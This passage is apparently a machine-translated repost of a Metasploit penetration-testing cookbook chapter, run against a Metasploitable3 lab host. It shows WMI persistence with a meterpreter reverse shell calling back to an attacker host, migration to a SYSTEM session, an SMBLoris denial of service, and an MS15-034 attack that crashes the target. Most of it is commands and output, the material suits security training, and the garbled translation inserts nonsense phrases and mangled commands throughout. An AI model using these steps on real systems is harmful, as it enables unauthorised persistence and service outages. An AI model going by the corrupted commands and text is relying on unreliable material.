  9. USERNAME_TRIGER => Administrator
  10. msf5 exploit(windows/local/wmi_persisence) > Set PAYLOAD windows/meterpreter/reverse_tcp
  11. PAYLOAD => windows/meterpreter/reverse_tcp
  12. smsf5 exploit(windows/local/wmi_persisence) > Set LHOST 192.168.177.143
  13. LHOST => 192.168.177.143
  14. msf5 exploit(windows/local/wmi_persisence) > Set LPORT 4433
  15. LPORT => 4433
  16. msf5 exploit(windows/local/wmi_persisence) > exploit
  17. [-] This module cannot run # As if System
  18. Copy Code

11, tip failed. We can use it.migrateWillmeterpreter shellThe process is moving, that’s what it will be.meterpreter shellProcesses migrate to processes of relatively stable applications.

  1. msf5 exploit(windows/local/wmi_persisence) > sessions – I don’t know. 1
  2. [*] Starting interaction with 1…
  3. meterpreter > Ps.
  4. Process List
  5. ============
  6. PID PPID Name Arch Session User Path
  7. — —- —- —- ——- —- —-
  8. 0 0 [System Process]
  9. 4 0 System x64 0
  10. 232 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
  11. 300 472 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE
  12. 316 304 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
  13. 324 5624 explorer.exe x64 1 METASPOITABLE3\vagarian C:\Windows\Explorer.EXE
  14. …..
  15. meterpreter > migrate -N explorer.exe / Process migration may not always be successful and can be tried several times more
  16. [*] Migrating from 1088 I’m sorry. 5624…
  17. [*] Migration completed successfully.
  18. meterpreter >
  19. Copy Code

And then attack again.

  1. meterpreter > background
  2. [*] Backgrounding session 1...
  3. msf5 exploit(windows/local/wmi_persisence) > exploit
  4. [*] Installing Persistence…
  5. [+] – Bytes remaining: 12560
  6. [+] – Bytes remaining: 4560
  7. [+] Payload successfully staged.
  8. [+] Persistence installed! Call a shell using “smbclient \\\192.168.77.144\\C$ -U Administrator <arbitrary password>”
  9. [*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persisence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rc
  10. msf5 exploit(windows/local/wmi_persisence) >
  11. Copy Code

Write-off of target machine login and re-entry,msfconsoleWe’ll get back-to-back sessions here.

  1. [*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) It’s not like I’m gonna be able to do this. 2019-04-28 12:27:54 +0800
  2. msf5 exploit(multi/handler) > sessions – I don’t know. 2
  3. [*] Starting interaction with 2…
  4. meterpreter > getuid
  5. Server username: NT AUTHORITY\SYSTEM
  6. meterpreter > sysinfo
  7. Computer : METASPLOITABLE3
  8. OS: Windows 2008 R2 (Build 7601, Service Pack 1).
  9. Architecture : x64
  10. System Language: en_US
  11. Domain: WORKGROUP
  12. Logged On Users : 2
  13. Meterpreter : x86/windows
  14. meterpreter >
  15. Copy Code

9. DESSIONAL SERVICES IN

Refusal of service attacks usually result from requests for large amounts of resources or exploit loopholes to the target machine, causing denial of services attacks that consume the performance of the target machine and preventing legitimate users from accessing computer services or resources, or possibly even a breakdown in the service or operating system.

Preparatory work

SMBlorisIt’s one that already exists.20 Year Windows SMB A loophole, which can lead to a denial of service attack. DoS ), paralysing large servers. Impact all versions SMB The protocol and all of it.Windows 2000 Later on the system version.

How?

1 In progressSMBlorisBefore refusing service attacks, the maximum number of connections to attack machines should be set.

  1. root@osboxes:~# ulimit -n 65535
  2. root@osboxes:~# umimitation -n
  3. 65535
  4. root@osboxes:~#
  5. Copy Code

2 and then usesmb_lorisModules to attack the target machine.

  1. msf5 auxiliary(dos/smb/smb_loris) > Set RHOST 192.168.177.144
  2. RHOST => 192.168.177.144
  3. msf5 auxiliary(dos/smb/smb_loris) > Run!
  4. [*] Starting server…
  5. [*] 192.168.177.144:445 – 100 socket(s) open
  6. [*] 192.168.177.144:445 – 200 socket(s) open
  7. [*] 192.168.177.144:445 – 300 socket(s) open
  8. [*] 192.168.177.144:445 – 400 socket(s) open
  9. [*] 192.168.177.144:445 – 500 socket(s) open
  10. [*] 192.168.177.144:445 – 600 socket(s) open
  11. [*] 192.168.177.144:445 – 700 socket(s) open
  12. [*] 192.168.177.144:445 – 800 socket(s) open
  13. [*] 192.168.177.144:445 – 900 socket(s) open
  14. [*] 192.168.177.144:445 – 1000 socket(s) open
  15. [!] 192.168.177.144:445 – At open socket limit with 1017 sockets open. Try increasing You. system limits.
  16. [*] 192.168.177.144:445 – 1017 socket(s) open
  17. [*] 192.168.177.144:445 – Holding steady It’s not like I’m gonna be able to do this. 1017 socket(s) open
  18. Copy Code

Three, look at the target machine. We can see a lot of it coming from the assailants.SMBThe request consumes a large amount of memory on the target machine. NBSS Connections can apply for distribution 128 KB Memory space, which can be depleted with a large number of connections, has the effect of denying services.

Another terrible thing.DoSThe attack is…MS15-034The HTTP protocol stack requests to process the denial of services.Microsoft Windows 7, Windows 8, Windows Server 2008, or Windows Server 2012The machine is running.MS15-034It’s a loophole.IISService, then the loophole can be used to cause a breakdown of the target server.

  1. msf5 > # I’m not gonna let you go # auxiliary/dos/http/ms15_034_ulonglongadd
  2. msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > Set RHOSTS 192.168.177.144
  3. RHOSTS => 192.168.177.144
  4. msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit
  5. [*] DOS request sent
  6. [*] Scanned 1 Of course. 1 hosts (100% complete)
  7. [*] Auxiliary module execution completed
  8. msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >
  9. Copy Code

As you can see, the target’s dead on blue screen.

On-line learning on related experiments

Example of Metasploit attack on linux

Chapter IV Meterpreter (forecast)

In this chapter, we will learn the following: 1 – Understanding Meterpreter Core Command 2 – Understanding Meterpreter File System Order 3, Understanding Meterpreter Network Command 4, Understanding Meterpreter System Command 5, Establishing Multiple Communication Channels with Target 6, Meterpreter Counter-Accuracy 7, Screen and Keyboard Interception 8, Using Straper Mercury Script 9, Use Winenum Element Information 10 – Automating Script 11, Meterpreter Resource Script 12, MeterPreter Overtime Control 13, Meterpreter Sleep Control 14, Meter Transfer 15, Registration Table Operation 16, Loading Frame Plugs 17, API and Mixins 18, Railgun – Converting Ruby to Weapons 19, Adding DL and Function Definitions 20, Hijacking Remote VNC 21, Opening Remote Desktop Desktop 19

Annotations

Original book: Metasploit Penetration Testing Cookbook – Third Evaluation

www.packtpub.com/networking-…

This document is translated by Zihui Divine and reproduced with an indication of the source.

 

(a) Real environment, online virtual network security;

未经允许不得转载:萌萌Apprentissage » Chapter 3 Service-end gap utilization example

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本